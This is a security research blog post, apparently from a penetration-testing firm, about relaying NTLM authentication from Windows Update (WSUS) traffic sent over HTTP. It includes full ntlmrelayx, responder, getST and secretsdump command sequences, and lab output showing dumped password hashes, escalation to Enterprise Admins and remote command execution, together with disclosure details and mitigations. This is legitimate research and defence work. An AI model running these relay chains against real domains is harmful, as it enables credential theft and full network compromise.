In part three of a series, GoSecure ethical hackers have found another way to exploit insecure Windows Server Update Services (WSUS) configurations. By taking advantage of the authentication provided by the Windows update client and relaying it to other domain services, we found this can lead to remote code execution. In this blog, we’ll share our findings and recommend mitigations.
WSUS Part 3: NTLM Relaying
This is our third article researching WSUS vulnerabilities. In part one, we explored the WSUS protocol itself and we brought to life a working proof of concept (PoC) exploit that works on Windows 10. In part two, we covered a vulnerability we discovered allowing local-privilege escalation to SYSTEM (CVE-2020-1013) and released a Proof of Concept (PoC). In this article, we will explore abusing WSUS to perform NTLM relaying attacks.
Windows Server Update Services (WSUS) requests can be made using either HTTP or HTTPS. When configured with HTTP, these requests can be intercepted and redirected towards a malicious server. When NTLM authentication is requested by the malicious server, the WSUS client will try to authenticate using NTLM. Depending on the situation, the account of the currently logged user or the machine account is used. This authentication can be relayed to other systems to achieve remote code execution (RCE) on the machine or other systems in the domain. This behavior is not new and was known for quite some time. The objective of this blog post is to properly document that behavior publicly.
Exploitation Prerequisites
To successfully exploit this issue, the following pre-requisites are needed:
- Ability to intercept traffic of target machines (i.e. ARP-spoofing, physical bridging)
- Insecure configuration of WSUS using HTTP (not HTTPS)
- The target machine must be domain-joined (no reflective relaying has been identified)
- Optional: to achieve RCE with RBCD, either LDAP signing or LDAPS channel binding must not be required by the DC
WSUS configuration discovery
Let’s first go over how to discover insecure WSUS configurations from an attacker/tester perspective:
- If you already have access to a compromised domain-joined machine, you can simply check the registry keys stored in the following folder:
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\
In a minimal deployment such as the screenshot above, the three keys are pointing to a single WSUS server, which is the address of the update server with the protocol (http://
) in use as a prefix. Seeing an URL starting with HTTP instead of HTTPS should be a red flag indicating that the configuration is most likely vulnerable.
In most cases, the WSUS configuration is pushed to domain computers through a Group Policy Object (GPO). For this reason, this configuration should be the same on all domain joined machines.
- During our research, we have also developed a small script to inspect GPOs and to try to find the WSUS configuration.
If the WUServer registry key configuration is found, the address of the WSUS server will be displayed along with the protocol in use (HTTP or HTTPS).
# python scanWsusGPO.py -u john -p 'Admin1234!' -d hackinglabs.lan Found 9 GPOs Scanning ... Found WSUS Server candidate: http://hl-wsus01.hackinglabs.lan:8530
- As a last resort, you can also inspect the traffic and look for HTTP traffic.
The usual port for WSUS over HTTP is 8530, and after performing an ARP-spoofing attack you should be able to see this traffic as plaintext HTTP in Wireshark. Specifically, interesting requests are:
- [POST] /SimpleAuthWebService/SimpleAuth.asmx
- [POST] /ClientWebService/client.asmx
Insecure WSUS over HTTP exploitation
In part one and part two of our blog series, we have shown how insecure WSUS configuration in Active Directory deployments can be exploited.
After trying to leverage it in actual engagements, however, we encountered issues with exploitation from time to time. For instance, despite successful interception, our malicious updates were served but not always automatically installed, especially on servers.
We found out that if insecure WSUS requests can be redirected towards a malicious HTTP server, NTLM authentication can be requested, and the Windows Update client will automatically try to authenticate to the server. This seems to be a known behavior of WSUS and was already exploited in the past for privilege escalation by Hot Potato. Cross-protocol NTLM reflection no longer works, but the behavior can still be exploited by relaying to other targets on the network.
Windows update traffic can be intercepted in various ways. Using mitm6 for instance, the WSUS fully qualified domain name (FQDN) could be spoofed, which would allow you to redirect the requests to your malicious host. As requests will typically target the 8530 TCP port, traditional penetration testing tools will not take advantage of this port by default.
It can also be done with an ARP-spoofing attack or any other kind of network interception attack, as long as the WSUS traffic is redirected to a malicious HTTP server:
# iptables -t nat -A PREROUTING -p tcp –-dport 8530 -j REDIRECT --to-ports 80 # responder -I eth0
After requesting NTLM authentication, the client will authenticate automatically. Now, as you can see in the screenshots above and below, the identified behavior at the time of writing was that the authentication was performed using the account of a user currently logged on the system. This behavior appeared different from the one exploited by Hot Potato in 2016, which was reflectively relaying a SYSTEM authentication back to the same computer:
After the application of KB4571756 and KB4577041 allowing to fix CVE-2020-1013 (see part 2 of this blog series for more details), this behavior was modified back to what seemed to be the originally intended one. The windows update client no longer authenticated using a user account and exclusively uses the machine account.
In both cases (user or machine account), as the connection comes from the HTTP protocol almost all relaying options are available depending on the target network configuration, as long as we are not trying to relay back to the same machine (reflective).
If the relayed (user or machine) account has some local admin rights, relaying to SMB will work on the condition that the target machine does not enforce SMB signing. Relaying can be performed with ntlmrelayx from impacket:
# ntlmrelayx.py -t smb://172.16.200.8 -smb2support Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Running in relay mode to hosts in targetfile [*] Setting up SMB Server [*] Setting up HTTP Server [*] Servers started, waiting for connections [*] HTTPD: Received connection from 172.16.205.26, attacking target smb://172.16.200.8 [*] HTTPD: Client requested path: /clientwebservice/client.asmx [*] HTTPD: Received connection from 172.16.205.26, attacking target smb://172.16.200.8 [*] HTTPD: Client requested path: /clientwebservice/client.asmx [*] HTTPD: Client requested path: /clientwebservice/client.asmx [*] Authenticating against smb://172.16.200.8 as HACKINGLABS\John SUCCEED [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x79e68100023493593be1a9332e7cd324 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Done dumping SAM hashes for host: 172.16.200.8 [*] Stopping service RemoteRegistry
Additionally, a recent feature of ntlmrelayx is the RPC client relaying feature, which is useful when SMB signing is enforced and allows relaying to the DC directly:
# ntlmrelayx.py -tf targets.txt -smb2support -c 'echo pwn > C:\test.txt'
Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 172.16.205.26, attacking target rpc://172.16.200.8
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] HTTPD: Received connection from 172.16.205.26, attacking target rpc://172.16.200.5
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] Authenticating against rpc://172.16.200.5 as HACKINGLABS\John SUCCEED
[*] Executing command echo pwn > C:\test.txt in no output mode via ncacn_ip_tcp:172.16.200.5[49666]
[*] Creating task \YTVTNsOF
[*] Running task \YTVTNsOF
[*] Deleting task \YTVTNsOF
[*] Completed!
On the DC, the command is executed successfully:
C:\>dir Volume in drive C has no label. Volume Serial Number is B63B-C858 Directory of C:\ 04/13/2019 10:17 AM <DIR> PerfLogs 04/12/2019 10:54 PM <DIR> Program Files 07/16/2016 06:23 AM <DIR> Program Files (x86) 07/28/2020 07:48 AM 6 test.txt 10/31/2019 01:42 PM <DIR> Users 02/07/2020 10:07 AM <DIR> Windows 1 File(s) 6 bytes 5 Dir(s) 27,137,060,864 bytes free C:\>type test.txt pwn
First use case: leveraging high privilege accounts
After observing that LDAP signing and LDAPS channel binding are almost never enforced on domain controllers, it feels like these configurations are still very much underestimated by system administrators since its positive security impact is not always understood. Microsoft was planning to enforce it as a mandatory configuration from early 2020, but it seems that this patch will be delayed for a little longer.
While there are many ways to check for SMB signing requirement, there seem to be very few equivalents for LDAP signing requirements. For this reason, we developed a script to check for it:
# python3 ldap-scanner/ldap-scanner.py 'john:Admin1234!@hl-dc01' [*] LDAP security scanner by @romcar / GoSecure - Based on impacket by SecureAuth [*] LDAP signature not required on target hl-dc01 (authentication was accepted)
Note that valid domain credentials are needed to perform this check.
Relaying to LDAP is very useful when dealing with high privileged domain users and with domain computers. In this first use case, relaying WSUS HTTP traffic to LDAP(S) will allow you to gain domain admin privileges by adding a low privileged user to the Enterprise Admin group:
# ntlmrelayx.py -t ldap://hl-dc01.hackinglabs.lan --escalate-user jbieber [...] [*] HTTPD: Received connection from 172.16.205.20, attacking target ldap://172.16.200.5 [*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx [*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx [*] Authenticating against ldap://172.16.200.5 as HACKINGLABS\John SUCCEED [*] Enumerating relayed user's privileges. This may take a while on large domains [...] TypeName: {'ACCESS_ALLOWED_ACE'} [*] User privileges found: Create user [*] User privileges found: Adding user to a privileged group (Enterprise Admins) [*] User privileges found: Modifying domain ACL [*] Querying domain security descriptor [*] Success! User jbieber now has Replication-Get-Changes-All privileges on the domain [*] Try using DCSync with secretsdump.py and this user :) [*] Saved restore state to aclpwn-20200703-134003.restore [*] Adding user: Justin Bieber to group Enterprise Admins result: OK [*] Privilege escalation succesful, shutting down...
In the previous example, a compromised user jbieber was escalated to domain admin. If you were in the situation where you do not have a compromised domain user or would prefer not to modify the privileges of an existing account, you can try to relay towards LDAPS, which will allow the creation of a new user when the relayed account has the privileges to do so:
# ntlmrelayx.py -t ldaps://hl-dc01.hackinglabs.lan
Second use case: from SSRF to Remote Code Execution (RCE)
As mentioned before, wupdate sometimes uses the domain machine account instead of a user account, albeit on a less regular basis. In this case, RCE can be achieved by leveraging Resource Based Constrained Delegation (RBCD). This kind of relay attack has been covered in many blog posts, but usually targeting high privileged machine accounts such as Exchange servers, or unconstrained delegation servers. In a more generic sense, it is not necessary to hijack high privilege accounts specifically for this attack to work.
First, a service principal name (SPN) under our control will be needed to achieve RCE using RBCD. For this purpose, a new machine account can be created (jbieberMachine) using MachineAccountQuota and a valid domain user we own (jbieber):
# addcomputer.py 'hackinglabs.lan/jbieber' -computer-name jbieberMachine Impacket v0.9.22.dev1+20200611.111621.760cb1ea - Copyright 2020 SecureAuth Corporation Password: [*] Successfully added machine account jbieberMachine$ with password ynqkdF5vuhuRBpiEDP7rxnVaBAnJlYwW.
Now after ARP-spoofing and redirecting the traffic, relaying to LDAP can be performed using this new machine account, or by creating one using LDAPS (with the add-computer option). If you provide a computer account to escalate, do not forget the trailing ‘$’ (otherwise the machine account will not be found, and the attack will fail):
# ntlmrelayx.py -t ldap://hl-dc01.hackinglabs.lan -smb2support --delegate-access --escalate-user 'jbieberMachine$' Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Running in relay mode to hosts in targetfile [*] Setting up SMB Server [*] Setting up HTTP Server [*] Servers started, waiting for connections [*] HTTPD: Received connection from 172.16.205.26, attacking target ldap://172.16.200.5 [*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx [*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx [*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx [*] Authenticating against ldap://172.16.200.5 as HACKINGLABS\HL-WS02$ SUCCEED [*] Enumerating relayed user's privileges. This may take a while on large domains [*] Delegation rights modified succesfully! [*] jbieberMachine$ can now impersonate users on HL-WS02$ via S4U2Proxy
Using the jbieberMachine machine account we can now request a ticket on the target machine HL-WS02 for service CIFS as the user Administrator:
# getST.py -spn cifs/HL-WS02.hackinglabs.lan 'hackinglabs.lan/jbieberMachine$' -impersonate Administrator Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation Password: [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator.ccache
The ticket was obtained successfully, we can now use it to compromise the target machine:
# secretsdump.py -k -no-pass HL-WS02.hackinglabs.lan Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Target system bootKey: 0x3c02336adb245bd44f5a972211e610eb [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f871aa595bee37b7fdf553ad510fe810::: defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:018e9ac18981be35c6beb17966e99237::: […] [*] Cleaning up... [*] Stopping service RemoteRegistry [*] Restoring the disabled state for service RemoteRegistry
Relay to Active Directory Certificate Services (ADCS)
The recent attention of the security community on ADCS has highlighted a new way to leverage NTLM relaying of machines accounts, by targeting the HTTP service exposed by ADCS and achieve RCE.
In many cases when an ADCS server is reachable on the domain, if either PetitPotam or the printer bug can be triggered, it may be a more straightforward way to escalate privileges in the domain.
However, in cases where RPC/SMB services are not accessible on the target machines or when print spooler is disabled, relaying WSUS traffic to ADCS would be another option allowing you to obtain RCE. We’ll leave this as an exercise for you as our readers. If you document this, let us know and we will link to your article here.
Vendor Response
To our surprise, after disclosing this behavior to Microsoft, the issue seemed to be considered a vulnerability, as our exchanges with Microsoft suggested attribution of a CVE number and the publication of a fix.
However, we didn’t observe any modified behaviors after the January 2021 ‘Patch Tuesday’. The vulnerability details were quite ambiguous and packaged along with other WSUS findings discovered earlier by our team. This confirmed our initial idea that this behavior was intended and that it will not be modified any time soon.
Mitigation
As with other vulnerabilities targeting the WSUS client, we strongly recommend configuring WSUS to communicate over secure HTTPS transport. Lack of proper certificate validation by the WSUS client will close the connection during the TLS handshake, thus avoiding a connection to a malicious server.
Moreover, risks of NTLM relaying attacks should be reduced by enforcing signature validation on all domain machines exposing a remote SMB service and any other service that can authenticate through NTLM.
In a similar way, LDAP service on the domain controllers should be configured to enforce signatures and LDAP channel binding.
For small businesses that can afford such a change, disabling NTLM authentication altogether in the Windows domain and switching over to Kerberos would be even more secure.
Timeline
- Sept 3, 2020 – Issue submitted to Microsoft
- Sept 3, 2020 – Microsoft opened a case
- Oct 2, 2020 – Behavior confirmed by Microsoft
- Dec 16, 2020 – Microsoft planned a fix
- Dec 18, 2020 – Issue considered duplicate vulnerability and CVE-2021-1694 was attributed to this bug
- Jan 12, 2021 – Patch Tuesday releasing the patch
Conclusion
As we have shown, WSUS over HTTP can be exploited in various ways. Even if the previous exploiting techniques did not work, NTLM relaying is another option, and it can lead to the compromise of sensitive domain accounts or RCE using RBCD.
Our contribution to ntlmrelayx, part of impacket, allowing the exploitation of this issue was merged in May 2021.
Special thanks to Mathieu Novis, Julien Pineault and Maxime Nadeau for their work on researching WSUS vulnerabilities.